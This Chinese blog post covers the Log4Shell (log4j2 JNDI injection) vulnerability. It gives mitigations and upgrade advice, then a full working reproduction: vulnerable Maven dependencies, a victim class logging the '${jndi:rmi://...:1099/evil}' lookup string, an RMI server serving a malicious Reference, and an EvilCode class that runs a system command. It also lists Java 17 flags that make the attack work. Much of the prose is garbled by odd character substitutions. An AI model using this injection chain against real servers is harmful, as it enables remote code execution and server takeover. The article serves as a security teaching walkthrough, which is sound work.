事件背景
2021年12月10日凌晨前,网上曝出了 log4j2 的核弹级破绽,这种破绽超级高危,操作简略,利用不便,适用范围广,能够间接任意代码执行,接管你的服务器
简要阐明
Java JNDI 注入破绽,通过结构字段使log4j2日志拜访指定好的门路,执行任意代码。
长期修复
JVM 参数增加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
平安倡议
目前,Apache Log4j 曾经公布了新版原本修复该破绽,请受影响的用户将 Apache Log4j2 的所有相干应用程序降级至最新的 Log4j-2.15.0-rc2 版本,同时降级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
简略复现
-
我复现的环境
操作系统 windows10 jdk: jdk1.8
- 目录构造
-
须要的依赖
<dependencies> <!--log4j2外围包--> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> <!--应用yml配置log4j2--> <dependency> <groupId>com.fasterxml.jackson.dataformat</groupId> <artifactId>jackson-dataformat-yaml</artifactId> <version>2.12.3</version> </dependency> <!-- slf4j外围包--> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.32</version> </dependency> <!--用于与slf4j放弃桥接--> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-slf4j-impl</artifactId> <version>2.9.1</version> </dependency> </dependencies>
-
受害者服务器代码
import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * 模仿运行存在破绽log4j2的服务器 */ public class ServerTest { private static final Logger logger = LoggerFactory.getLogger(ServerTest.class); public static void main(String[] args) { //有些高版本jdk须要关上此行代码 //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); //模仿填写数据,输出结构好的字符串,使受益服务器打印日志时执行近程的代码 同一台能够应用127.0.0.1 String username = "${jndi:rmi://192.168.31.104:1099/evil}"; //失常打印业务日志 logger.error("username:{}",username); } }
-
构建RMI服务来响应恶意代码
- Java RMI,即 近程办法调用(Remote Method Invocation),一种用于实现近程过程调用(RPC)的Java API, 能间接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因而它仅反对从一个JVM到另一个JVM的调用。
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 筹备好RMI服务端,期待受益服务器拜访
*/
public class RMIServer {
public static void main(String[] args) {
try {
// 本地主机上的近程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象
Reference reference = new Reference("EvilCode","EvilCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把近程对象注册到RMI注册服务器上,并命名为evil
registry.bind("evil",referenceWrapper);
} catch (RemoteException | AlreadyBoundException | NamingException e) {
e.printStackTrace();
}
}
}
-
恶意代码(关上计算器)
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; /** * 执行任意的脚本,目前的脚本会使windows服务器关上计算器 */ public class EvilCode { static { System.out.println("受益服务器将执行上面命令行"); Process p; String[] cmd = {"calc"}; try { p = Runtime.getRuntime().exec(cmd); InputStream fis = p.getInputStream(); InputStreamReader isr = new InputStreamReader(fis); BufferedReader br = new BufferedReader(isr); String line = null; while((line=br.readLine())!=null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } }
- 复现成果
Java17实现的改变
影响的代码为上述第4步,次要在于java9之后模块化的起因。
形式一:
-
maven的pom文件改变
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>17</source> <target>17</target> <compilerArgs> <arg>--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED</args> </compilerArgs> </configuration> </plugin> </plugins> </build>
- 增加VM options:
--add-exports=jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED
形式二:
https://segmentfault.com/q/10…
发表回复